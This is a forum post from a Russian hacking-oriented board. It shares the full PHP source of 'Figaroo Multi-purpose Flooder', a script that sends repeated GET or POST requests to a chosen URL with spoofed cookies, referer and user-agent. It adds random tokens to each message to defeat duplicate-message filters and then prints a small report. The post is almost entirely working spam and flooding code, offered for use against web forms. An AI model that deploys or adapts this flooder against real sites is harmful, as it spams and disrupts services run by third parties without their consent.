Показать сообщение отдельно

  #5  
Старый 05.10.2009, 10:06
[aCR]RASSVET
Новичок
Регистрация: 27.04.2008
Сообщений: 15
Провел на форуме:
154305

Репутация: 6
По умолчанию

Универсальный флудер на PHP.

PHP код:
<?php
/*
* Figaroo Multi-purpose Flooder v1.0
*
* Описание: универсальный флудер
* Требования: разрешение на работу с сокетами
* Автор - Figaroo, http://figaroo.ru/
*/

// неограниченное время выполнения скрипта
set_time_limit(0);

// настройки
define('URL''POST http://localhost/poligon/global_flooder/test.php'); // HTTP-метод и URL скрипта, который будем флудить
define('TIMES'3); // количество сообщений, которых требуется отправить
define('ANTIFLOOD'5); // время задержки (антифлуда), в секундах
define('COOKIES''param1=a; param2=b'); // кукисы
define('REFERER''http://localhost/poligon/global_flooder/test.php'); // реферер
define('USERAGENT''Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'); // юзер-агент
define('RNDVAR''<VAR>'); // случайный текст будет подставлен вместо этого

// данные для отправки методом GET
// <VAR> будет заменено на случайное значение
$GET_DATA = array(
    
'text' => 'Привет всем!',
);

// данные для отправки методом POST
// <VAR> будет заменено на случайное значение
$POST_DATA = array(
    
'message' => 'Тест. message =) [<VAR>]',
    
'test' => '123',
);

// флудим
$count 0// счётчик отправленных сообщений
$url explode(' 'URL);
$method $url[0];
$url parse_url($url[1]);
if (!@
$url['port']) $url['port'] = 80;
$GET_DATA array_function('rnd_var_handl'$GET_DATA);
$GET_DATA $GET_DATA http_build_query($GET_DATA) : '';
$POST_DATA array_function('rnd_var_handl'$POST_DATA);
$POST_DATA $POST_DATA http_build_query($POST_DATA) : '';

// отправка сообщений в цикле
for ($i 0$i TIMES$i++) {
    
$fp = @fsockopen(@$url['host'], @$url['port'], $errno$errstr10);
    if (!
$fp) continue;
    
// формируем заголовки запроса:
    
$req $method." ".@$url['path'].($GET_DATA '?'.$GET_DATA '')." HTTP/1.1\r\n";
    
$req .= "Host: ".@$url['host']."\r\n";
    if (
USERAGENT$req .= "User-agent: ".USERAGENT."\r\n";
    if (
COOKIES$req .= "Cookie: ".COOKIES."\r\n";
    if (
REFERER$req .= "Referer: ".REFERER."\r\n";
    if (
$method == "POST") {
        
$req .= "Content-type: application/x-www-form-urlencoded\r\n";
        
$req .= "Content-Length: ".strlen($POST_DATA)."\r\n";
    }
    
// отсылаем запрос
    
$req .= "\r\n";
    if (
$method == 'POST'$req .= $POST_DATA;
    
fwrite($fp$req);
    
fclose($fp);
    
$count++;
    
// ждём $antiflood микросекунд и повторяем цикл
    
if (ANTIFLOODsleep(ANTIFLOOD 1);
}

// замена "случайной" переменной
function rnd_var_handl ($data) {
    return 
str_replace(RNDVARmd5(microtime(1)), $data);
}

// рекурсивная обработка массивов
function array_function ($func$array) {
    if (!
is_array($array)) return call_user_func($func$array);
    foreach (
$array as $k => $v) {
        if (
is_array($v)) $array[$k] = array_function($func$v);
        else 
$array[$k] = call_user_func($func$v);
    }
    return 
$array;
}

?>
<html>
<body>
<b>Отчёт:</b>

<ul>
<li>Отправлено <b><?=$count?></b> <b><?=$method?></b>-запросов из <b><?=TIMES?></b> требуемых;</li>
<li>Интервал отправки сообщений составил <b><?=ANTIFLOOD?></b> сек.;</li>
<li>Подключение осуществлялось через <b><?=@$url['host']?>:<?=@$url['port']?></b>;</li>
<li>Требуемый скрипт: <b><?=@$url['path']?></b>;</li>
</ul>
<i>Figaroo Multi-purpose Flooder v1.0</i>

</body>
</html>
 
Ответить с цитированием